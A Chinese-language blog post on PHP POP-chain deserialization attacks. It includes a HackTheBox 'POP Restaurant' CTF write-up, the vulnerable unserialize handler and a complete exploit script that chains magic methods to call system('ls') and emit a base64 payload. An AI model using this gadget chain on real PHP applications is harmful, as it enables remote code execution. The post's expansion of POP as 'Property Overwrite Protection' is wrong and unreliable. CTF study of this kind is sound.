Web Application Security: POP Chain

Web Application Security: POP Chain

Tue Jul 01 2025 Pin
1715 words · 11 minutes

PHP Magic Method

PHP magic methods 是以双下划线 (__) 开头的特殊方法,允许开发人员定义对象在特定场景中的行为方式。虽然术语 “magic” 可能暗示着某种神秘的东西,但这些方法只是动态和优雅地处理常见面向对象编程模式的工具。

魔术方法用途描述POP 利用方式的影响版本及说明
__construct()构造函数,在创建对象时自动调用在反序列化过程中首先被调用,可用于初始化操作。通常不会直接用于POP链中。
__destruct()析构函数,在对象销毁时自动调用常用于触发反序列化后的后续操作,是构建POP链的关键点之一。
__call()当调用未定义或不可见的方法时自动调用可能用于动态方法调用,但通常不直接涉及反序列化攻击。
__callStatic()当调用未定义或不可见的静态方法时自动调用类似于__call(),主要用于静态上下文,不是反序列化攻击的主要目标。
__get()访问未定义或不可见的属性时自动调用可以与__set()__isset()__unset()结合使用来控制属性访问,常用于POP链构造。
__set()设置未定义或不可见的属性时自动调用同上,用于属性设置,对于构建复杂的POP链至关重要。
__isset()当对未定义或不可见的属性调用isset()empty()时调用提供了对属性存在性的检查机制,可能影响POP链的行为。
__unset()当对未定义或不可见的属性调用unset()时自动调用允许删除属性,对于管理内部状态非常有用,也可能被用于复杂的POP链中。
__sleep()序列化对象之前被调用可以用来清理对象并返回一个包含对象所有变量名的数组。不过,在现代PHP版本中,它很少用于POP攻击。
__wakeup()反序列化对象之后被调用经常用于重新建立数据库连接等操作,是构建POP链的重要部分。
__toString()尝试将对象作为字符串使用时被调用如果实现不当,可能会导致信息泄露或者进一步的代码执行漏洞。
__invoke()当尝试将对象当作函数调用时被调用可以用于简化回调函数的使用,也可能成为POP链的一部分。
__set_state()当调用var_export()导出类的状态时被调用主要用于导出类的状态,不是反序列化攻击的主要入口。
__clone()当对象被复制时被调用对象复制时进行自定义处理,一般不直接参与反序列化攻击。

Some Examples

简单来说,POP(Property Overwrite Protection)就是将魔数方法串联以达到 RCE/file included/Local File (Arbitrary) Read 等漏洞。接下来我们一些例子为说明。

HTB | POP Restaurant

访问网站,我们能够获取得到一个登录界面。考虑到是 CTF 竞赛没有什么其他好测试的,直接注册一个账户看看具体提供的功能。

发现是一个点餐服务的网页,我们拦截报文查看一下:

Request Package
POST /order.php HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Origin: http://localhost:1337
Connection: close
Referer: http://localhost:1337/index.php
Cookie: PHPSESSID=19c0a08c4b05b5d12f69b8da7e5bb1d0
Upgrade-Insecure-Requests: 1
data=Tzo1OiJQaXp6YSI6Mzp7czo1OiJwcmljZSI7TjtzOjY6ImNoZWVzZSI7TjtzOjQ6InNpemUiO047fQ%3D%3D

很明显对方采用了 PHP 作为后端,其次数据传输采用了 URL encode + Base64 encode。解码之后的数据应该是:

O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";N;}

这就很想 PHP 序列化了。首先 Dockerfile 中的 FROM php:7.4-apache 暴露了 PHP 后端版本是 7.4。其次题目给出了源码,所以我们完全可以去看看。

<?php
error_reporting(0);
require_once 'Helpers/ArrayHelpers.php';
require_once 'Helpers/CheckAuthentication.php';
require_once 'Models/PizzaModel.php';
require_once 'Models/IceCreamModel.php';
require_once 'Models/SpaghettiModel.php';
require_once 'Models/DatabaseModel.php';
isAuthenticated();
$username = $_SESSION['username'];
$id = $_SESSION['id'];
$db = new Database();
$order = unserialize(base64_decode($_POST['data']));
$foodName = get_class($order);
$result = $db->Order($id,$foodName);
if ($result) {
header("Location: index.php");
die();
} else {
$errorInfo = $stmt->errorInfo();
die("Error executing query: " . $errorInfo[2]);
}

后端处理程序就是简单地检查了认证。没有前置的绕过事项。其次就是调用了:

$order = unserialize(base64_decode($_POST['data']));

这就以为着可能存在反序列化漏洞破坏软件/数据的完整性。于是我们考虑去查看各个结构。

class Spaghetti
{
public $sauce;
public $noodles;
public $portion;
public function __get($tomato)
{
($this->sauce)();
}
}

可以看到 class Spaghetti 提供了 __get() 方法并调用了 ($this->sauce)();。因此从期望上说,我们希望 $this->sauce 是一个函数。

class Pizza
{
public $price;
public $cheese;
public $size;
public function __destruct()
{
echo $this->size->what;
}
}

又从上述代码中可以发现 class Pizza 提供了 __destruct() 方法,这个方法将在对象析构时自动调用。

class IceCream
{
public $flavors;
public $topping;
public function __invoke()
{
foreach ($this->flavors as $flavor) {
echo $flavor;
}
}
}

class IceCream 则提供了 __invoke() 方法,其可以将对象作为函数对待并调用。综上,我们很容易可以构造出 Pizza -> Spaghetti -> IceCream 的调用链子。但是这里还不够,考虑到:

public function __invoke()
{
foreach ($this->flavors as $flavor) {
echo $flavor;
}
}

所以这里的 flavors 应该是一个 LIST/Array。好在天无绝人之路,后端处理过程中存在:

namespace Helpers{
use \ArrayIterator;
class ArrayHelpers extends ArrayIterator
{
public $callback;
public function current()
{
$value = parent::current();
$debug = call_user_func($this->callback, $value);
return $value;
}
}
}

于是,我们可以将 POP 链修改成 Pizza -> Spaghetti -> IceCream -> Helpers\ArrayIterator

exp.php
<?php
// 定义 Helpers\ArrayHelpers 类
namespace Helpers {
use ArrayIterator;
class ArrayHelpers extends ArrayIterator {
public $callback;
public function current()
{
$value = parent::current();
$debug = call_user_func($this->callback, $value);
return $value;
}
}
}
// 全局命名空间下的类定义
namespace {
class Pizza {
public $price;
public $cheese;
public $size;
public function __destruct() {
// 可选删除下面这行,因为 $this->size->what 并不存在
// echo $this->size->what;
}
}
class Spaghetti {
public $sauce;
public $noodles;
public $portion;
public function __get($tomato) {
($this->sauce)();
}
}
class IceCream {
public $flavors;
public $topping;
public function __invoke() {
foreach ($this->flavors as $flavor) {
echo $flavor;
}
}
}
// Step 1: Final gadget – executes `system('ls')`
$ArrayHelpers = new Helpers\ArrayHelpers(['ls']);
$ArrayHelpers->callback = 'system';
// Step 2: Intermediate callable object
$IceCream = new IceCream();
$IceCream->flavors = $ArrayHelpers; // __invoke() calls call_user_func_array(callback, flavors)
// Step 3: Trigger from __get() inside Spaghetti
// there is no doubt that spaghetti doesn't have the what property
$Spaghetti = new Spaghetti();
$Spaghetti->sauce = $IceCream;
// Step 4: Top-level Pizza → triggers __destruct → __get → __invoke
$Pizza = new Pizza();
$Pizza->size = $Spaghetti;
// Serialize and encode
$serialized = serialize($Pizza);
$base64 = base64_encode($serialized);
echo "Serialized Payload:\n$serialized\n\n";
echo "Base64 Payload:\n$base64\n\n";
}

最后,你只需要执行 php -f exp.php 就可以获取得到 payload 了。


Thanks for reading!

Web Application Security: POP Chain

Tue Jul 01 2025 Pin
1715 words · 11 minutes